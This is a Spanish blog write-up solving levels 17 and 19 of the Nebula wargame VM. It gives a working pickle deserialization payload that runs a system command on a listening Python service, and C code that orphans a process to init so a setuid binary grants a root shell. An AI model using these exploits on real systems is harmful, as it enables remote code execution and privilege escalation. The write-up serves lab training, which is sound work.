Soluciones Nebula Niveles 17,19

Nivel 17:

Tenemos un pequeño programa en python que acepta una entrada y la procesa.


#!/usr/bin/python

import os
import pickle
import time
import socket
import signal

signal.signal(signal.SIGCHLD, signal.SIG_IGN)

def server(skt):
line = skt.recv(1024)

obj = pickle.loads(line)

for i in obj:
clnt.send("why did you send me " + i + "?\n")

skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
skt.bind(('0.0.0.0', 10007))
skt.listen(10)

while True:
clnt, addr = skt.accept()

if(os.fork() == 0):
clnt.send("Accepted connection from %s:%d" % (addr[0], addr[1]))
server(clnt)
exit(1)

He de admitir que a priori no tenía ni idea de por dónde coger este programa, así que me fui a mirar la documentación de algunas funciones de python que utiliza éste programa. Al final, resultó que la función pickle() no es segura, y que durante el proceso de “unpickling” se puede producir la ejecución arbitraria de código.

Me hice un pequeño script en python que me permitía ver qué salida se generaba cuando se usaba pickle sobre determinados objetos (cadenas, funciones, funciones anidadas…) para poder construir una llamada que desencadenara el problema de seguridad antes mencionado:

#!/usr/bin/python
import time
import os
import pickle

f = open("/dev/stdout","w")
pickle.dump(time.localtime,f)
f.close()

Con esto, y un poco más de investigación sobre la función REDUCE de pickle, pude llegar a lo siguiente:

level17@nebula:~$ cat /tmp/send
cos
system
(S'getflag > /tmp/flag17'
tR
.

Ahora, sólo queda enviarlo al servicio que escucha en el puerto 10007, con netcat por ejemplo, ya que está instalado en la VM.

Enviar y triunfar

Nivel 19:

El siguiente programa ejecuta una shell si “root lo ha ejecutado”:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/stat.h>

int main(int argc, char **argv, char **envp)
{
pid_t pid;
char buf[256];
struct stat statbuf;

/* Get the parent's /proc entry, so we can verify its user id */

snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid());

/* stat() it */

if(stat(buf, &statbuf) == -1) {
printf("Unable to check parent process\n");
exit(EXIT_FAILURE);
}

/* check the owner id */

if(statbuf.st_uid == 0) {
/* If root started us, it is ok to start the shell */

execve("/bin/sh", argv, envp);
err(1, "Unable to execve");
}

printf("You are unauthorized to run this program\n");
}

El problema es que esa comprobación de “si root nos ha ejecutado” está un tanto mal hecha, ya que lo que realmente está comprobando es si su proceso padre se está ejecutando como el usuario root. En esencia, esto quiere decir que si conseguimos que el padre de este programa sea cualquier proceso que ejecute como root, obtendremos la shell de root. Cosa que no es demasiado difícil de conseguir si conocemos cómo funionan los procesos en Linux.

Si un proceso que tiene hijos, muere antes de la finalización de éstos, deja a los procesos hijos “huérfanos”, lo cual supone un problema, ya que no tienen a quien comunicar su estado de finalización, ni las señales que no capturan, entre otras cosas. Para ésto, existe en Linux el proceso init. Init siempre se ejecuta al iniciar el sistema, como primer proceso del mismo, con el número de proceso 1. Además, se encargará de “acoger”, y convertirse por tanto en el padre, de todos aquellos procesos huérfanos del sistema. Ah, e init se ejecuta como root 😉

Por tanto, si ejecutamos el programa víctima, y después morimos, el programa será heredado por init y podremos obtener la shell. Bueno, podremos ejecutar comandos en esa shell de root, ya que obtenerla será difícil puesto que habremos perdido el control del hijo al morirnos. El siguiente programa en C hace esto mismo:

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <time.h>
#include <sys/types.h>

int main(void){
pid_t pid;
char* args[]= {"/bin/sh", "-c", "getflag > /tmp/flag19", NULL};
pid = fork();
if (pid==0){
//hijo, a ejecutar el programa objetivo
nice(19);
execve("/home/flag19/flag19",args, NULL);
}else if (pid <0){
printf("Ups\n");
}else{
//padre, debe morir
exit(1);
}
return 0;
}

Cómo veis, se ejecuta flag19 pasándole los argumentos que luego él transmitirá a la shell mediante la llamada execve.

Explotando los problemas padre-hijo

Ya sólo nos queda el nivel 18, al que he decidido dedicarle una entrada a parte para no alargar ésta más de la cuenta.

¡Salud!

Anuncios
Tagged with: , , , ,
Publicado en exploiting, hacking

Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s

Archive
A %d blogueros les gusta esto: